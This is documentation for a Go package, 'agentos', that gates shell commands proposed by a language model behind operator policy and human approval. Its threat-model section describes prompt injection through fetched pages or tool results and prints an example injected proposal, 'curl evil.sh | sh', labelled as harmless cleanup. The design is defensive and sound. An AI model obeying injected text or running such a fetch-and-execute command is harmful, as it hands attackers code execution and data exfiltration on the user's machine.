agentos

Documentation

Overview

Package agentos lets a model propose local shell commands and gates whether they may run.

Threat model

The model proposes; the policy disposes. A proposal carries the model's own safety self-assessment (the "safe" field), and that number is deliberately NOT an input to any authorization decision — it is display text for the human. The reason is prompt injection: a model that has read a web page, a Wikipedia extract, a repository file, or a tool result is working with attacker-influenceable text, and text in the context window can make it emit {"cmd":"curl evil.sh | sh","dsc":"harmless cleanup","safe":1}. Letting the proposal's own claim unlock execution would mean the attacker writes both the command and its permission slip.

So the gate is Policy, which comes from the operator (a CLI flag), never from the conversation:

• PolicyDeny (default) — nothing runs without a separate human approval.
• PolicyWhitelist — only allow-listed programs, and no shell at all, so one entry cannot be chained into something else.
• PolicyAllow — anything, through a shell. Only for a machine where that is genuinely acceptable.

Combining PolicyAllow with any feature that pulls untrusted text into the context (web search, fetched pages, shared documents) reconstitutes the classic exfiltration chain: private data + attacker-controlled content + a way out. Prefer PolicyWhitelist there.

Index

• Constants
• func HasShellMetacharacters(cmd string) bool
• func SplitArgs(cmd string) ([]string, error)
• type Decision
• type Policy
  • func ParsePolicy(s string) (Policy, error)
• type Proposal
  • func ParseProposal(raw string) (Proposal, error)
• type Result
• type Runner
  • func (r Runner) Evaluate(p Proposal) Decision
  • func (r Runner) Execute(ctx context.Context, p Proposal, approved bool) (Result, Decision, error)

Constants

const (
	DefaultTimeout   = 30 * time.Second
	DefaultMaxOutput = 64 << 10
)

const SystemPrompt = `` /* 357-byte string literal not displayed */

SystemPrompt instructs the model to answer with exactly the proposal object.

Functions

func HasShellMetacharacters

func HasShellMetacharacters(cmd string) bool

HasShellMetacharacters reports whether the command could chain, redirect, or substitute its way out of a single program invocation.

func SplitArgs

func SplitArgs(cmd string) ([]string, error)

SplitArgs splits a command line into argv, honoring single and double quotes. It reports an error for an unterminated quote rather than guessing, so a half-parsed command is never matched against the whitelist.

Types

type Decision

type Decision struct {
	// AutoRun reports whether the policy alone authorizes execution. When
	// false the command may still run, but only after a human approves it.
	AutoRun bool `json:"auto_run"`
	// Blocked reports a proposal the policy refuses outright, so no amount of
	// approval in the UI will run it as written.
	Blocked bool   `json:"blocked"`
	Reason  string `json:"reason"`
	// Program is the resolved program name (argv[0]'s base), for display.
	Program string `json:"program,omitempty"`
}

Decision is the outcome of evaluating a proposal against the policy.

type Policy

type Policy string

Policy is the operator-chosen authorization mode.

const (
	// PolicyDeny requires an explicit human approval for every command. This
	// is the zero value on purpose: an unconfigured Runner never runs anything
	// on its own.
	PolicyDeny Policy = "deny"
	// PolicyWhitelist auto-approves commands whose program is allow-listed and
	// that contain no shell metacharacters.
	PolicyWhitelist Policy = "whitelist"
	// PolicyAllow auto-approves everything and runs it through a shell.
	PolicyAllow Policy = "allow"
)

func ParsePolicy

func ParsePolicy(s string) (Policy, error)

ParsePolicy maps a flag value onto a Policy, defaulting to the safe one.

type Proposal

type Proposal struct {
	Cmd string `json:"cmd"`
	Dsc string `json:"dsc"`
	// Safe is the model's own 0-2 self-assessment. Advisory only: shown to the
	// human, never consulted by Evaluate. See the package comment.
	Safe int `json:"safe"`
}

Proposal is the JSON object the model must emit in OS-command mode.

func ParseProposal

func ParseProposal(raw string) (Proposal, error)

ParseProposal reads the model's answer. Models routinely wrap JSON in a code fence or add a sentence around it despite instructions, so the object is located rather than requiring a pristine body.

type Result

type Result struct {
	Cmd       string `json:"cmd"`
	ExitCode  int    `json:"exit_code"`
	Output    string `json:"output"`
	Truncated bool   `json:"truncated"`
	TimedOut  bool   `json:"timed_out"`
	Duration  string `json:"duration"`
}

Result is the outcome of running a command.

type Runner

type Runner struct {
	Policy Policy
	// Allowed lists program names (not paths) auto-approved under
	// PolicyWhitelist, e.g. "ls", "git", "cat".
	Allowed []string
	// Timeout bounds a single command. Zero means DefaultTimeout.
	Timeout time.Duration
	// WorkDir is the working directory; empty means the process's own.
	WorkDir string
	// MaxOutput caps captured stdout+stderr in bytes. Zero means
	// DefaultMaxOutput. Output beyond the cap is truncated, not buffered, so a
	// runaway command cannot exhaust memory.
	MaxOutput int
}

Runner evaluates and executes proposals under a policy.

func (Runner) Evaluate

func (r Runner) Evaluate(p Proposal) Decision

Evaluate applies the policy. Note what it does not read: Proposal.Safe. The model's self-assessment never influences the outcome.

func (Runner) Execute

func (r Runner) Execute(ctx context.Context, p Proposal, approved bool) (Result, Decision, error)

Execute runs a proposal. approved is the human's decision, supplied out of band (a click in the UI, a keypress in the CLI) — never parsed from model output. A command runs only when the policy auto-approves it or a human approved it, and never when the policy blocked it outright.